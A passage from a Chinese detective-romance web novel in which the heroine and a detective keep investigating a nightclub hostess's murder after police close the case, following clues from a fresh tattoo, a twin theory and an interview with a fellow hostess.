在这儿住了那么久,这还是她第二次进来。这个房间其实比阁楼大不了多少,只有一张床、一个床头柜和一个衣柜。总体还算整洁,没有随处乱扔的脏衣服臭袜子,床上的被子也叠得整整齐齐。
床头放着几本书和一张微微有些褪色的老照片,照片看起来已经有些年头了,上面是一家四口的合影,祝好一眼就认出中间那个少年是十几年前的程述——除了看起来更稚嫩一些,他的脸几乎没有任何变化。
他旁边那个笑靥如花的漂亮女孩就是程霜,左右两边自然就是他们的爸爸妈妈了,背景像是某个景区,应该是去旅游时的留影。
照片上的每个人都笑得很开心,包括总是摆着一张臭脸的程述,他当时的笑,是发自内心的吧?
原本幸福的一家四口,现在却只剩他孑然一身,其中的落差应该挺让人难以接受的。
想到这里,祝好又忍不住自嘲地笑了一下:自己明明也好不到哪儿去,甚至跟他还有点儿同病相怜的意味,为什么还要替他操这份心呢。这个世界如果也有乐山,那应该换她去坐大佛那位置。
况且这可是程述,他那扇紧闭的心门上不知道挂了多少把生锈的大锁,对任何关怀向来不会买账,与其白费心思去替他担忧,还不如多替自己操心呢。
祝好拧紧盖子,把药酒搁在床头柜上:“好了,你等药干了再穿衣服就行,我——”
她的目光落在没关紧的抽屉边缘,突然顿住了。
程述等了片刻,见她没有继续往下说,回头问道:“你什么?”
祝好铁青着脸,一言不发地拉开抽屉,只见里面里面赫然躺着一对粉红色的毛绒手铐。
难怪翻遍阁楼都找不到,居然被他藏在这儿了,她当即觉得全身血液往天灵盖上窜,从床上抓起一个枕头狠狠砸向他,咬牙切齿道:“我要杀了你!!”
程述迅速反应过来,用那只没受伤的手稳稳接住枕头,一脸贱兮兮的笑:“怎么了,你自己硬要送我的礼物,为什么要杀我?”
她非要送的?祝好一字一顿道:“不!可!能!”
程述佯装无辜:“真的!那天晚上你醉得跟滩烂泥似的,我把你扔在床上刚要转身走你就突然叫住我,然后不知从哪儿掏出了这玩意儿硬要塞我手里,说是送我的礼物,我不收就不让我走。”
说完欠身越过祝好,从抽屉里拿出那对手铐在白眼狼面前晃了晃:“白眼狼,你说她送礼物的品味是不是还挺特别的?”
“还给我!”祝好羞愤难当,脸红到了脖子根,伸手就要去抢。
白白花了200积分不说,还要在他那儿落下笑柄,更可恶的是,他一个不可攻略对象,连增加一点好感度、获得积分的机会都没有!
程述腾一下站起来,把手举到最高,笑得花枝乱颤:“那不行,这还是我第一次收到女孩子送的礼物呢,当然得好好保存。你说是吧,白眼狼?”
白眼狼十分配合地“喵”了一声。
祝好瞪了他一眼:“……那你人缘可真差。”
程述没脸没皮地怂了下肩膀:“既然你那么说,那我更得好好保存了,说不定这就是我人生中唯一收到的礼物呢。对了,改天我得去定制个玻璃柜,把它摆在家里最显眼的地方。”
祝好气得七窍生烟,脑子像一团浆糊,半天憋不出一句怼他的话,想揍他又担心碰到他的伤口,干脆狠狠一甩头:“算了,你喜欢就送给你吧,我睡觉去了。”
她还没往前跨出一步,手腕却被他制住:“等等,你手怎么了?”
手?她下意识摊开另一只手的手掌,上面的水泡已经连成了一片,有些隐隐作痛。
程述皱着眉,语气变得严肃起来:“今天在医务室为什么不说?这么大一片水泡,不及时处理会发炎的。”
祝好没说话,把手抽回来藏在身后。
今天在医务室本来想说的,但跟程述的伤比起来,这几个水泡根本算不了什么。况且等医生终于处理完他的伤口时,对杜俊明的审讯已经要开始了,她不想错过任何能够获得线索的机会,所以就想着待会儿回阁楼随便处理一下就好。
程述叹了口气,从衣柜里拿了件衣服套在身上:“我下楼去给你买支烫伤膏。”
祝好气还没消,抬手拦住他:“不用,哪敢麻烦你一个伤员啊,我自己去就行。”
程述说:“大半夜让一个女孩子自己出门,让老秦知道,非得骂死我不可。”
争执半天,最后还是决定叫个跑腿。跑腿小哥效率很高,没多久就把药送到了。
程述不知从哪儿找了根绣花针,淬了火后又用酒精消毒了一遍,摊开她的手掌,小心翼翼地替她挑破那一大片水泡。
昏黄的灯光勾勒出他如丘陵起伏的侧脸轮廓,像是给他镶了一层带着毛边的光雾,每一寸线条都是十分恰好的弧度。
祝好想起第一次在医院跟他见面时,他浑身跟长了刺似的,脸上满是生人勿近的冷漠,嘴里说出来的话也一句比一句刺耳。
不知是不是错觉,现在从同样的角度看他,竟多了一丝柔和。
察觉到自己有些晃神,她赶紧抽回神思,拿起袋子里那支烫伤膏看了看,喃喃道:“姚雨欣家是不是也有支一样的药膏?”
程述示意她把盖子拧开,把药挤到棉签上,细心地涂在挤破的水泡上:“你脑袋里除了破案还有什么别的吗?三句话离不开案子,老秦都没你那么敬业。”
“我——”祝好撇了撇嘴:“我以前就喜欢玩推理游戏,现在有机会亲自参与破案,当然不能浪费了。”
“把破案当成通关游戏,你这想法还挺独特的。”程述帮她涂好药膏,又缠上一层纱布:“好了,先尽量别碰水,明天早上起来再换一次药就行。”
祝好哦了一声,低头看了看手上的纱布,又悄悄瞥了他一眼,总觉得他好像真的有哪里变了,却又一时想不出个所以然。
算了,那手铐他如果喜欢就让他留着吧,虽然损失了200积分,但他也帮自己上了药,就算是扯平了吧。
*
第二天刚敲开秦聿风办公室的门,就见他一拍脑门道:“诶,忘了告诉你们,今天在家休息就行,案子已经结束了。”
这就结束了?
祝好有些不可置信,毕竟系统根本给出没有任何剧情结束的提示。
她问:“秦警官,杜俊明承认杀人了吗?”
秦聿风点点头:“对比结果已经出来了,温主任从姚雨欣指甲缝里提取到的DNA跟杜俊明的一致,案发时他也没有不在场证明。”
不仅如此,勘查组在他家里发现了跟姚雨欣脖子上的索沟形状一致的绳子,还在他那辆面包车的后备箱里,找到了跟姚雨欣身上那条短裙一模一样的亮片,他的鞋底上,也提取到了跟案发现场成分一致的泥土和芦苇花。
在审讯室里熬了一夜,杜俊明的心理防线本就已经摇摇欲坠,当如此确凿的证据摆在眼前时,他立刻放弃了抵抗,一五一十地承认了罪行。
据他交代,他跟姚雨欣是在娱|乐城认识的,当时有个客人点了姚雨欣陪酒,揩了油又不愿给小费,两人便起了点争执。作为保安——也就是看场子的杜俊明替她狠狠修理了那个客人一顿,一来二去,两个人就好上了。
秦聿风说:“杜
俊明好赌,在娱|乐城挣到的那点工资根本不够他赌几把,姚雨欣当陪酒小姐,赚的钱比他要多一些,于是他隔三差五就问姚雨欣要钱。一开始姚雨欣还会给,时间久了,她就不情愿了。每当这种时候,杜俊明就会动手打她。”
——这也印证了刘二虎的话,他之前在娱|乐城里见到姚雨欣时,曾发现她身上青一块紫一块的。
“那天晚上,姚雨欣主动去他家里找他,说要跟他分手。杜俊明当然舍不得这样一个长得漂亮又能给他钱的女朋友,就跟她起了争执,一气之下失手把她给勒死了。当时他也吓得不行,把她装在行李箱里抛尸后在家里躲了一天才决定要跑路,没想到刚装好行李被我们给碰着了。”
祝好总觉得有哪里不对劲,蹙眉问道:“行李箱上的指纹也是他的吗?”
昨天在看到杜俊明的资料时她就觉得奇怪,一个留有那么多案底的人,居然没在数据库里找到匹配的指纹。
秦聿风说:“不是,不过他说自己抛尸时戴了手套,那个指纹说不定是售货员留下的。”
“那……那个报警电话呢?”
秦聿风摇摇头:“查过了,是个虚拟号码,查不到机主信息。不过杜俊明交代了自己没有同伙,我们调取了所有的监控,也确实没发现第二个人。”
言下之意,就是那个报警的人虽然有些可疑,但眼下案件已经十分明了,没什么追查的必要了。
秦聿风伸了个懒腰:“也不知道是撞了什么邪,最近的案子一个比一个复杂,这回总算碰到个轻松点儿的,终于可以回去补个觉了。”
祝好还想说些什么,但看着他那一脸疲态,还是把话咽了回去,想了想,只问道:“温主任在吗?”
第64章
祝好敲响法医办公室的门时,温珣正目不转睛看着电脑屏幕,时不时低头看一眼桌上的文件,手指飞快地敲击键盘,像是在写鉴定报告。
听到敲门声,他抬头看向门口,对她笑了一下:“祝小姐,你怎么来了。”
祝好举起手里的咖啡:“温主任,你吃过早餐了吗?我给你买了咖啡。”
温珣刚要搭话,就看到程述从她身后探出一张讨人厌的脸,夹着嗓子说道:“温主任,你吃过早餐了吗?我想吃个哈根达斯。”
他脸上的笑容瞬间消失,无奈地白了程述一眼:“哈根达斯没有,解剖的脏器倒是有几个,程大侦探要吃吗?”
程述径直走进办公室一屁股坐到他桌上,随手拿起一本《法医学导论》翻了翻:“看来温主任是跟尸体打交道太多了,说出来的话也冷冰冰的。”
说完还装模作样打了个寒战。
温珣只当他是空气,他接过祝好递过来的咖啡,说了声谢谢,目光落在她包着纱布的手上,关切地问道:“祝小姐,你手怎么了?”
“没事,小伤而已。”祝好笑了笑,说出了来找他的目的:“温主任,姚雨欣的尸检结果出来了吗?”
“尸检是完成了,不过死因明确,只进行了尸表检查,没有解剖。”顿了顿,他有些疑惑:“我听秦队说,那个案子已经结束了。”
祝好没有过多解释,只是问:“我可不可以看看她的尸检报告?”
“这个……”温珣摘下眼镜,揉了揉眼角,面露为难,似乎正斟酌着拒绝的措辞。
看他的反应,祝好有些失落,但她也能理解,毕竟她只算是编外人员……身边的小跟班,按照规定,根本没有资格查看案件记录。
“没关系”的“没”还说出口,就看到程述从他手里拿过眼镜,用自己的衣角擦了擦镜片,又替他架回鼻梁上,嬉皮笑脸道:“温主任,我一个刑事顾问,看看鉴定结果应该没什么问题吧?”
温珣无奈地瞥他一眼,找不到什么拒绝的理由,扶了扶眼镜:“鉴定结果还没出来,不过你们有什么问题可以问我。”
见他松口,祝好忙问:“我想知道,她身上有没有烫伤或者烧伤的疤痕?”
温珣仔细回想片刻,摇了摇头,在电脑上点开了一个文件夹,连人带椅挪到一旁,给他们让了个位置:“死者身上所有的伤痕我们都拍了照,但基本都是新鲜的挫伤和皮下出血,没发现近期烫伤的疤痕。”
烫伤或烧伤的疤痕比较特殊,会在皮肤上形成坚硬、凹凸不平且边缘形状不规则的癜痕组织。程述滑动鼠标,一张一张翻看着电脑里姚雨欣尸体上伤痕的照片,果然都只是些淤青和擦伤,并没有找到烫伤或者烧伤的痕迹。
难道说姚雨欣家里那些明显是处理烫伤伤口的药,并不是为了自己买的?
文件夹里的照片共有几十张,滑动到最后一张时,祝好突然摁住他的手:“等等,刚才那张照片,能不能再看一遍?”
他侧目看了祝好一眼,没说什么,把照片调到之前的一张。那是姚雨欣锁骨上的一处挫伤,看起来没什么特别的。
祝好从他手里接过鼠标,把照片放大,最后却定格在她胸口处那朵红色的玫瑰纹身上。
她端详着那张照片许久,突然问道:“老大,你身上有纹身吗?”
“没有。”
温珣嘴角勾起一抹略带嘲讽的笑:“怎么,程大侦探怕疼啊?”
程述怼他:“温主任不怕疼不是一样没有纹身?”
温珣耸了耸肩膀:“跟某人不一样,我可是有编制的,不能纹身。”
祝好没空理会他们的拌嘴,她目不转睛地盯着那张照片看了许久,又从姚雨欣的资料里找到她的照片,放在屏幕旁边对比。
那张照片是姚雨欣两年前刚进入魅享Party娱|乐城时拍的“入职照”,当时她身穿一件红色抹胸,露出了胸口的玫瑰纹身,但那个纹身看起来颜色暗淡,线条也有些许晕开;而尸体上的纹身线条干净利落,颜色也十分鲜艳。
祝好回想起大学时她曾经陪舍友去过纹身店,差点在她的怂恿下也纹了个小图,最后因为怕疼才作罢。
舍友的纹身在背后,不方便自己护理,之后的几天祝好还帮她清理了纹身上渗出的组织液、涂了修复的药膏。她记得那个纹身刚完成的时候颜色十分鲜艳,过了几年,颜色才慢慢暗淡了一些。
她拿出手机对着电脑屏幕拍了个照,转头问程述:“老大,你认识开纹身店的人吗?”
*
程述带她去的纹身店也在魅享party娱|乐城附近,那一带多鱼龙混杂,聚集的多是在温饱线上挣扎的小人物——当然,这些人也是他获取信息的重要来源。
下了出租车,他带着祝好七拐八拐钻进一条巷子里,绕到一栋骑楼面前,顺着楼梯上了二楼,停在一扇蓝色的铁门前。
门上满是花里胡哨的贴纸,中间挂着一个小小的牌子,写着“BlackMoonTattoo”,营业时间是下午两点钟。
程述敲了敲门,里面传来一个懒洋洋的女声,像是没睡醒:“谁啊,有预约吗?”
“我,程述。”
那个女声由慵懒转变为惊喜:“程哥?你等等,我换件衣服。”
不多时,门打开了。一个染着蓝色头发,两条胳膊上全是纹身的年轻女孩热情地把他们迎进:“哟,程哥,怎么有空来找我啊?”
程述大剌剌走进屋里,在沙发上坐下,问她:“今天没活儿?”
女孩打开冰箱,从里面拿了两瓶
冰可乐:“有啊,这不离我营业时间还有两个小时嘛?我才刚睡醒呢。”
她把其中一瓶递给祝好,自我介绍道:“嗨,我叫月月。”
祝好接过可乐,礼貌地笑了一下:“我叫祝好。”
这家纹身店被一张帘子分成两个区域,里面的应该是月月的卧室,外面就是她工作的地方。麻雀虽小,但五脏俱全,整齐有序地摆放着消毒设备、工作台和纹身床,浅灰色的墙上挂着许多精美的画稿。
月月朝他们做了个鬼脸,揶揄道:“怎么,你们是来找我做情侣纹身的吗?”
程述单手接住她扔过来的可乐,没有解释,只是笑了笑:“碰到些跟纹身有关的问题,想向专业人士请教一下。”
月月爽朗一笑:“哟呵,你还有我能帮上忙的地方呢?说吧,什么事?”
程述给祝好使了个眼色,祝好放下可乐,从口袋里掏出手机,打开尸体上纹身的照片递给她:“以你的专业知识,能看出这个纹身大概恢复多久了?”
月月接过手机,放大照片看了一会儿,回答得很笃定:“不久,应该没到一个月。”
她接着解释:“纹身其实就相当于一个浅创伤口,皮肤从被针刺破到完全长实,大约需要两个月时间。你看,这个纹身的部分还有些反光,说明恢复时间不长,新长出来的皮肤还比较娇嫩。”
祝好又拿出姚雨欣的入职照,指着她胸口的纹身问道:“那这个呢?”
月月又仔细看了看,说:“这个,至少有好几年了。”
程述喝了口可乐,挑眉问道:“怎么看出来的?”
“这你就不懂了吧?”月月从工作台里拿出一台纹身机,装上纹身针,摁下开关,讲解道:“纹身的原理是用机器带动针,把色料注入真皮层的位置。真皮层相对稳定,能保留大部分的纹身色料,但随着时间流逝,还是有一部分的色料会被巨噬细胞带出体外。所以恢复的时间久了,纹身都会出现一定程度的晕色和褪色。”
这些话虽然专业,但祝好听得云里雾里,不过她至少得到了一个信息,那就是姚雨欣尸体上的纹身是刚恢复不久的。
她脑袋有些发懵,同一个人身上的纹身,怎么能做到一会儿新,一会儿旧的?
程述一直没吭声,只是静静听着她们的对话,这时才接茬:“有没有什么方法,可以把褪色的旧纹身变成新的呢?”
月月点点头,指着姚雨欣的入职照上那朵褪色的玫瑰花道:“做这个图的纹身师技术应该很一般,很多地方都没纹好。有的客人会选择给失败的旧纹身重新上一遍颜色,让图案看起来更精致一些。”
想了想,又补充了句:“就跟我们装修时翻新墙面是同一个道理。”
祝好忙问:“那你能判断这个纹身是不是旧图翻新吗?”
图片不是很清晰,月月来回划拉了许久,轻轻摇了摇头:“这两个纹身的部位和图案的样式几乎一模一样,光凭照片我也拿不定主意。”
看祝好一脸失落,她眼珠子转了转,说:“这样吧,我还认识几个纹身师,你可以把照片发给我,我帮你打听一下,近期有没有同行做过这个图。如果有人做过,一定会对它有印象。”
祝好又燃起一丝希望,道谢之后添加了月月的联系方式,把照片给她发了过去。
离开之前,月月抿着嘴意味深长地笑了一下,眼神在他俩之间来回扫:“你俩真不来对儿情侣纹身啊?”
祝好这才解释:“我们不是情侣,我只是他的助手而已。”
月月佯装失望叹了口气:“唉,我还以为程哥这个万年老光棍终于脱单了呢。”
说完拍了拍程述的肩膀,拍着胸脯道:“你要是哪天真脱单了,别忘了来找我纹对儿情侣纹身啊,免费!”
第65章
傍晚六点,城中村附近的小饭馆已经开始热闹起来。这里的服务意识不比市中心的高档餐厅,服务员脚步飞快,全都在忙着点菜上菜,根本没空招呼新来的食客。
程述找了张角落的桌子,跟祝好面对面坐下,等了半天,才等来点菜的服务员。
“二位吃点什么?”
程述把菜单推到祝好面前:“想吃什么自己点。”
菜单略显陈旧,上面的塑封仿佛裹了层油。这里卖的基本都是些家常菜,但是价格都很实在。
祝好随便点了个两菜一汤,把菜单递给程述,程述也没看,直接把菜单还给服务员。
菜还没上来,祝好闲得无聊,掀开手心的纱布想看看伤口的恢复情况,却被他用筷子敲了下手:“别乱动。”
她撇了撇嘴,把纱布贴回去,想了想,问道:“老大,你是不是也觉得这案子还有可疑之处?”
“可疑之处?”程述受伤的是右手小臂,不太妨碍他做一些幅度不大的动作,他拆掉碗筷上的塑料薄膜,漫不经心道:“有,但是不多,至少不足以让老秦重新调查。”
祝好问他:“那你为什么还愿意帮我?”
他反问:“那你为什么会觉得可疑?”
祝好想了想,敷衍道:“直觉。”
“嗯,直觉。”程述手上的动作没停,轻笑一声:“说实话,最近的几起案子都挺奇怪的,只要你觉得还有疑点,那就一定是还没有找到真正的凶手。你说你靠的是直觉,那我也想验证你的直觉到底准不准。”
这个理由无法反驳,祝好心虚地抿了抿嘴,没吭声。她这哪儿是直觉准,只不过是钻了游戏的漏洞而已。
毕竟按照以往的经验,在系统没有弹出“恭喜您完成本阶段剧情任务”之前,案子就一定没有结束。
小饭馆虽然热闹,但上菜的速度还挺快,没多久菜就上齐了。
顾及到程述有伤在身,医生让他尽量别吃辛辣刺激的食物,所以祝好点的菜口味都比较清淡:一个蒸排骨、一个炒时蔬,还有一份菌菇汤。
她从桌上的筷筒里拿了两双一次性筷子,把其中一双递给程述,岔开话题:“你和那个叫月月的纹身师认识很久了吗?”
“一两年了吧。”程述拆开筷子,夹了块排骨,慢悠悠地解释:“之前有个醉汉去找她纹身,纹完之后不愿付钱,还对她动手动脚的,她一害怕就从店里跑出来了。当时我正好在楼下蹲人,就顺手替她教训了那醉汉一顿,把纹身的钱给拿回来了。”
祝好扯着嘴角阴阳怪气地啧了一声:“我当初差点被许安宁剁死,人还在医院躺着的时候你是怎么对我的?怎么对别人就那么热心呢。”
程述对她的冷嘲热讽视而不见:“我帮她也不是白帮的,她的客户什么样的人都有,人在忍痛的时候没什么防备,我有什么想知道的信息,让她帮忙随口一套,就什么都知道了。”
祝好嗤之以鼻:“你还真会利用人。”
程述也不辩解,反而大方承认:“我又不是单方面利用她,顶多算是互相利用吧。”
祝好说:“我看人家对你的感谢是真心实意的,根本没有要利用你的意思。是不是对你来说,没有利用价值的人,就没有认识和交往的必要?”
他不置可否:“不然呢?维持人际关系本身就已经够累的了。”
祝好再一次笃定,她和程述的想法就像是两条平行线,根本不会有相交的那一天。
算了,还是闭嘴吃饭吧。
没吃几口,他却主动开口:“除了那个神秘的报案人和姚雨欣身上的纹身,还有什么你觉得可疑的地方吗?”
祝好含着筷尾想了想:“有,你还记得刘二虎说过在姚雨欣身上看到过淤青吗?杜俊明也承认自己会动手打她,可是温主任的尸检结果却说她身上的所有伤痕都是新鲜的,这点要怎么解释?”
程述停下筷子盯着她:“怎么,你怀疑姚雨欣不是姚雨欣?”
祝好沉思片刻,摇了摇头:“DNA不都匹配上了吗?应该不会错。”
“不一定。”
这话一出,祝好吓了一跳,不自觉停下手中的筷子跟他对视。
他神色突然认真起来,解释道:“同卵双胞胎源自单一受精卵的分裂,拥有相同的遗传信息。也就是说,如果姚雨欣有一个同卵双胞胎的姐妹,那么对方就会拥有跟她一模一样的DNA。”
这倒是个
新的思路!如果死的人不是姚雨欣,而是她的双胞胎姐妹,那么有一部分疑点就能解释得通了。
祝好精神一振,随即又有些泄气:“可是姚雨欣的资料上显示她只有一个弟弟,而且那个弟弟比她小了几岁。”
程述用筷子敲了敲盘子:“先吃饭,一会儿我们去个地方。”
*
“欢迎光临魅享party,二位需要什么服务呢?”
魅享party娱|乐城一共有好几层楼,每一层又被划分成不同的区域,一楼时酒吧,再往上分别是KTV、桑拿房、麻将馆等等,无论哪一层都是声色犬马,纸醉金迷的世界。
门口穿着旗袍的迎宾小姐脸上的笑仿佛是半永久的,乍一看甜美可人,看久了就像是戴了层人皮面具。
祝好刚想要说明来意,就被程述打断了:“我们来找朋友,他待会儿就到。”
说完扯着祝好离远了些,凑到她耳边低声道:“在这种地方亮出警察身份是不会有人愿意跟你说实话的,况且之前老秦肯定也派人来过一回了,能让警察知道的他们应该都已经说完了。”
有道理,祝好问:“那怎么办?”
话刚落音,就听到一个熟悉的声音:“程哥,嫂子!”
顺着声音看去,远处一个细长的身影朝他们走来,他顶着一头黄毛,手里还装模作样拎了个公文包。
是刘二虎。
祝好朝他打招呼,故意打趣他:“嗨,二狗。”
“二虎,猛虎下山的虎。”刘二虎一本正经地纠正她,抬手做个了“请”的手势:“满哥已经在包厢等着了,我带你们上去。”
刚踏进娱|乐城的大门,祝好的心脏就被轰轰作响的音乐声震得一抽一抽的。
一楼的酒吧十分热闹,灯球射出五彩的灯光,映得人眼花缭乱的,舞池的音乐震耳欲聋,各种男男女女挤在一起放浪形骸、群魔乱舞。
刘二虎领着他们穿过人群,走进电梯,不放过任何一个跟程述套近乎的机会:“哥,你这手没事儿吧?”
没等程述回答,他又眉飞色舞地描述起昨天的场景:“我本来想上去帮忙的,但是又担心嫂子受伤,你会因此怪罪我,所以就赶紧带她去躲起来了。是吧,嫂子?”
还“是吧”,昨天也不知道是谁跑得屁滚尿流,只敢从摊子后面探出半个头。
祝好阴阳他:“那还真是谢谢你了,没有你我还不一定活得到现在。”
他没听出祝好语气里的揶揄,手一挥道:“嗐,客气啥呀!程哥的事儿就是我的事儿,程哥的女人就是我的——”
说到一半,察觉到不妥,猛地刹住车,幸亏电梯门也刚好开了。
这一层是娱|乐城的KTV,整体是浮夸的欧式装修,金光闪闪的罗马柱,巴洛克风格的浮雕,随处可见的小天使图案,看得出多是为了投目标客户的喜好,毕竟来这儿的多是些三教九流的人物。
走到熟悉的808包厢门口,刘二虎先一步推开隔音门,鬼哭狼号般的“浪奔,浪流”立刻从厚厚的门缝中传出来,祝好一下子就听出这个声音正是李福满。
刘二虎朝里面打了个手势,歌声戛然而止,只剩下背景音乐。
片刻后,李福满从里面走出来,张开双臂,浮夸地朝他们打招呼:“诶!程哥,嫂——”
他没说完的话被祝好一个眼神怼了回去,讪笑道:“哦,还不是嫂子啊?来来来,赶紧先进来坐坐。”
程述也不客气,径直走进包厢,往沙发上一坐,把桌上的骰盅拿在手里把玩。
李福满坐在他身边,双手呈上一张酒水单,脸上满是殷勤的笑:“程哥,今晚想吃什么、喝什么随便点,全都算在我账上!”
程述嗯了一声,把酒水单递给祝好:“嫂子,喝什么?”
祝好白了他一眼:“……”
她看了眼酒水单,上面都是些名字花里胡哨的酒,但有了上一次的教训,她是无论如何也不敢碰酒精这玩意儿了,于是翻到最后一页,点了杯橙汁。
程述接过酒水单还给李福满:“一杯橙汁,一杯苏打水,再帮我找个陪酒的公主。”
“公主?”李福满一愣,还以为自己听错了,疑惑地看了祝好一眼,给了她一个“这你都能忍?”的眼神。
祝好也懒得解释了,耸了耸肩膀,用眼神回复他:“没办法,管不了,随他去吧。”
李福满心领神会地点点头,对程述竖起大拇指:“程哥,还是你有一套。”
说完给刘二虎使了个眼色。
刘二虎应了一声,转身出去了。
过了一会儿,门被推开一条缝,门外先是响起一阵悠扬的音乐声,随后数十名打扮得花枝招展的女郎袅袅而入,在包厢里有序地排成一排,像是经过某种专业训练,摆出妖娆的姿势,朝着沙发上的人抛了个媚眼:“老板晚上好,欢迎光临魅享party!”
祝好还是第一次见到这样的场面,目瞪口呆,跟刘姥姥进了大观园似的,眼睛都不知道往哪儿看了。
李福满满脸堆笑:“程哥,您看看喜欢哪个?”
第66章
程述的眼神在数十名陪酒公主身上逡巡了一阵,突然问:“小妖精的事儿你们应该都知道了吧?”
公主们皆是一愣,然后面面相觑,隐晦地交换着眼神。
从她们脸上,祝好看到了惊讶、疑惑、迷茫、漠不关心,甚至还有不屑。只有其中一个长发披肩,穿着桃红色包臀裙的女孩低着头不说话,目光有些躲闪。
程述也注意到了她,盯着她看了一会儿,抬手一指:“就你了。”
——夜场是个没什么人情味的地方,大部分人都是利益为上。这些公主一般都会为了某些资源勾心斗角、明争暗斗,姚雨欣的死对她们来说要么是事不关己,要么就只是茶余饭后的谈资。
但从那个长发女孩的表现来看,她跟姚雨欣的关系显然不仅如此。
李福满凑过来,一脸谄媚的笑:“程哥,一个就够了?”
“够了。”程述靠在沙发上,手掌朝外挥了挥。
李福满猜到他不是真的要找人陪酒,而是来问事情的,暗暗为自己的钱包松了口气,赶紧起身打开门,催促其余的人离开:“出去出去。”
除了那个女孩之外,其他没被选中的公主排成一排,依次离开了包厢。
李福满回到沙发上刚要坐下,屁股就被程述托住:“谁让你坐下了,你也出去。”
他愣了一下,面露无奈又不敢多言,只得点头:“好好好,我出去。”
前脚刚踏出门,又回过头,欲言又止。
程述掀起眼皮看他:“说。”
李福满搓了搓手,轻咳一声:“程哥,那个……我这豪包是按小时计费的……”
程述明白了他的意思,不耐烦地挥手:“知道了,就占用你半小时时间。”
李福满还想说些什么,被他一记眼刀给生生截住了,只得悻悻退出门外。
包厢里只剩下祝好、程述和那个女孩,祝好对她招了招手,示意她坐在沙发上。
女孩在这种地方工作时间长了,久经沙场,虽然还有些摸不清眼前的状况,但一坐下就主动往程述身上贴:“老板晚上好,今晚由娜娜为您服务,希望您能满意。”
程述抬手把她拦在一臂之外:“不用靠那么近,坐那儿就行。”
她眼底闪过一丝疑惑,随即又换上一张妩媚的笑脸:“那您是想跟娜娜喝酒,还是想听娜娜唱歌呢?”
程述开门见山:“不用喝酒也不用唱歌,就是有点事儿想问你,姚雨欣你认识吗?”
那个叫娜娜的女孩态度变得谨慎了些,换了个姿势,下意识摸了摸脖子:“认识,但不太熟。”
祝好看得出她在撒谎,虽然她脸上并没有出现害怕或愧疚的表情,但她一定知道些什么。
“你别担心,我们只是想了解一些她的情
况。“她把自己那杯橙汁递给娜娜,向她露出一个友善的微笑:“只耽误你半个小时时间,小费正常给。”
娜娜低了一会儿头,紧紧咬着嘴唇,半响后才深吸一口气:“你们想知道什么?”
祝好问她:“既然你知道姚雨欣的真名,那你们的关系应该不只是‘认识,但不太熟’,对吧?”
毕竟在这种地方,陪酒公主之间大多是竞争关系,很少会真心实意把对方当朋友,所以大家最多也就知道彼此所谓的艺名,不会轻易把自己的真实信息透露给其他人。
娜娜那刷着厚厚一层睫毛膏的睫毛微微闪动了一下,没有承认,但也没有否认。
祝好又问:“她平时是不是对你很好?”
娜娜倏地抬眼看她,眼神颤了颤,随即很快垂下眼帘。沉默片刻后,她轻叹了一口气:“我跟雨欣姐是同乡,她在这儿工作的时间比我长,人又温柔又热心,一直很照顾我。其实我们平时不怎么碰面,碰上了也就是随意聊几句,但有人欺负我的时候,她都会替我出头。”
“你对她的家庭情况了解吗?”
娜娜没说话,程述瞅见她放在膝盖上的手指不停捻动,猜到她是烟瘾犯了,随手从桌上拿起李福满留下的烟和打火机递给她。
她接过烟盒,抖出一根叼在嘴里点燃,勉强弯了下嘴角:“谢谢老板。”
程述没接茬,扬了扬下巴,示意她继续回答问题。
娜娜吐了口烟雾,把烟夹在两指之间:“平时我们对家里的事聊得不多,只知道她父母都以种田为生,还有一个在上大学的弟弟,她说家里要盖房子,弟弟上学也要学费和生活费,所以每个月挣的钱几乎都寄回家里了。”
“她家里还有其他兄弟姐妹吗?”
“没有,就她和一个弟弟。”
这些情况跟刘二虎说的差不多,不过祝好敏锐地捕捉到一个信息:姚雨欣的父母十分重男轻女,家庭的重担几乎全都落在她一个人身上。
靠女儿出卖色相和身体的钱起的房子,真的能住得安心吗?
娜娜看出祝好脸上的愤懑,轻轻笑了一下,像是在嘲笑她的单纯,又像是在嘲笑自己的无力:“像我们这样出身农村的女孩,没什么选择的余地,要么就是随便找个人嫁了,要么就是出来打工。可我们没文化、没背景,打工又能做什么呢?只能趁着年轻、还有点姿色,在这种地方陪陪酒,能赚一点是一点。”
“雨欣姐曾跟我说,我们这辈子也就是这样的命了,这份工作虽然会被人看不起,但比起年纪轻轻就嫁人、过那种一眼就看到头的生活,好歹还能多见见世面,万一能碰上什么改变命运的机会呢?”
——可惜,她还没等到改变命运的机会,就已经陨落在河边的芦苇地里。
包厢内自动播放的音乐应景地切换成一首曲调有些哀伤和沉重的粤语歌,娜娜把烟搁在烟灰缸里,拿起麦克风轻轻哼唱起来,唱到动情处,一滴泪顺着浓妆艳抹的脸缓缓滑落。
一曲唱罢,程述冷不丁问了一句:“既然她对你那么好,为什么你还要跟她打架?”
娜娜神情一滞,连麦克风都没来得及放下,下意识用手覆盖着胳膊上淡粉色的伤痕:“我、我……”
踌躇半天,抽了张纸巾小心翼翼地擦了擦眼泪,才下定决心似的说出实情:“其实,是雨欣姐要我配合她演一出戏。”
“演戏?”
“她让我假装跟她争吵、打架,闹得严重一点,最好能闹到派出所,留个案底。”
这是什么操作?
祝好觉得自己脑子成了一团浆糊:“为什么?”
娜娜捻起烟灰缸里只剩半截的烟,双眉紧蹙:“不知道,我也追问过几次,但她不肯说。本来我不愿意的,毕竟如果留了案底,对将来肯定会有影响。但她求我一定要帮她,并承诺自己会承担主要责任,最后还给了我一笔钱,让我不要说出去。”
祝好把探寻的目光投向程述,试图从他那儿得到合理的解释,然而他却像是忽略了这个问题,转而问道:“你跟姚雨欣平时接触得比较多,有没有觉得她最近有什么不一样?”
娜娜:“不一样?你们指的是……”
对了,那个双胞胎的推断!
祝好想了想,补充道:“在她出事的前一段时间,你会不会觉得她只有外表还是她自己,但其他地方——比如性格、动作、习惯等等,都跟之前一些差别。”
娜娜低头认真思索了一番:“差别……好像看不太出来,不过她那段时间在减肥,效果倒是挺明显的。”
“减肥?”
娜娜点头:“嗯,也不知道她是节食还是用了什么别的方法,那段时间每说几句话她就要停下来大喘气,还总是咳嗽,我问她是不是减肥太拼命了,她却说自己没事,只是吃太少没力气。”
听起来并不是什么有价值的线索,祝好又问:“还有吗?”
娜娜又仔细回想了一会儿,摇头道:“其他的就没有了。”
问完该问的,时间恰好过去28分钟。程述拿起桌上的苏打水喝了两口,掏出手机打了个电话。没多久,李福满就屁颠屁颠地跑回包厢里,脸上挂着虚伪又客套的笑:“程哥,这就结束啦?其实你再聊聊也没关系——”
程述嘴角勾起一抹不怀好意的弧度:“是吗,那我再加半个钟吧。”
